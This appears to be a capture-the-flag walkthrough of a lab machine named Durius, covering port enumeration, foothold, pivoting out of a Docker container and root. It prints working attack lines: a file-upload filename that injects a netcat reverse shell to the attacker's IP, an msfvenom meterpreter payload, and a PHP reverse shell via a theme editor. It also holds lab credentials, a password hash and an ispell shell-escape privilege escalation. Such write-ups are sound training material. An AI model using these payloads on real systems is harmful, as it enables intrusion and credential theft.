The latin word Durius means "harder"
Enumeration
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
111/tcp open rpcbind syn-ack ttl 61
38296/tcp open unknown syn-ack ttl 61
We have a few interesting ports, let’s check out the the HTTP service:
We have a main page and a link to a file upload. We can only give rtf and txt files via this, the contents of which are echoed back:
This file needs to be read at some point. let’s test some RCE via the file name. We can use burpsuite to capture the request as the file is sent and replay it with an audited name:
Content-Disposition: form-data; name="file"; filename="text.txt;id"
This uploads and replys with an ID.
Foothold
I attempted a reverse shell however we’ve got character limits. We can’t use / . or # in the file name, we also can’t have more than 30 characters. This makes it pretty hard to get a reverse shell, we can try pass our IP in decimal as netcat accepts this and see if that works:
https://dnschecker.org/ip-to-decimal.php
This makes our payload:
Content-Disposition: form-data; name="file"; filename="t.txt;nc 168634256 444 -e sh"
We upload the file and get our reverse shell:
User own
We can check main.py and find a secret and an FTP login:
We don’t have an FTP client installed on the target box but given that this script uses an FTP module for python, we can script one:
from ftplib import FTP
ftp = FTP('ftp.mofo.pwn')
ftp.login('someuser','04653cr37Passw0rdK06')
ftp.retrlines('LIST')
We see out previous file uploads, alongside:
-rw------- 1 ftp ftp 24 Apr 22 2020 creds.txt
Let’s try get creds.txt:
from ftplib import FTP
ftp = FTP('ftp.mofo.pwn')
ftp.login('someuser','04653cr37Passw0rdK06')
#ftp.retrlines('LIST')
with open("creds.txt", "wb") as fp:
ftp.retrbinary('RETR creds.txt', fp.write)
ftp.quit()
We get:
admin:BAraTuwwWzx3gG
These don’t look to be creds for SSH, maybe another website. We are in a docker container on a seperate IP range. Let’s pivot, using chisel sacrifices our current shell so let’s drop a meterpreter session instead:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.13.39.144 LPORT=4443 -f elf > rev.elf
We get our shell, we can assume since we’re in a docker container that the host is on 192.168.150.1, let’s ping it:
We need to be root to run pings, let’s try connecting via common port instead:
Ignoring that I mistyped the request, we still get a valid HTTP response, let’s try port forwarding to a local port and seeing if there’s an admin panel:
In meterpreter shell: portfwd add -l 1337 -p 80 -r 192.168.150.1
We navigate over and see a new web page:
We can head over to /admin and check if we can sign in:
We can edit anything on the website, using the theme editor we can get a php reverse shell:
We then save the page and navigate to the main pages to get our reverse shell:
Checking out the local file system, we find a database:
If easiest if we copy these onto the existing http server:
cp /var/www/html/inc/data /var/www/html/admin
We can download directly from the /admin directory to use the database locally. After doing so, we open that database using sqlite and checking it’s contents:
We’re more interested in Ben’s passsword as we’ve already got the admin password:
$2y$10$KSWWopGZdJhqP3iq8juuauMyNZjA8S8X/49lr7XntZKXsuWRUgaFC
We can crack this with john:
We can then SSH over to get our flag
Root own
We can check for SUIDs/SGIDs using:
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null
We end up finding ispell, let’s check the man page;
This initially doesn’t seem too helpful but let’s try it:
If we try escape using !sh
, we get a shell however not as root, but with two extra groups:
Note that we need to use sh, bash removed EGID permissions when called from another binary
adm is the group used for log admin over apache:
https://ubuntuforums.org/showthread.php?t=1318346
Let’s check auth logs for a password:
Perfect, we can try su over to root using the password we find and get root over the final box.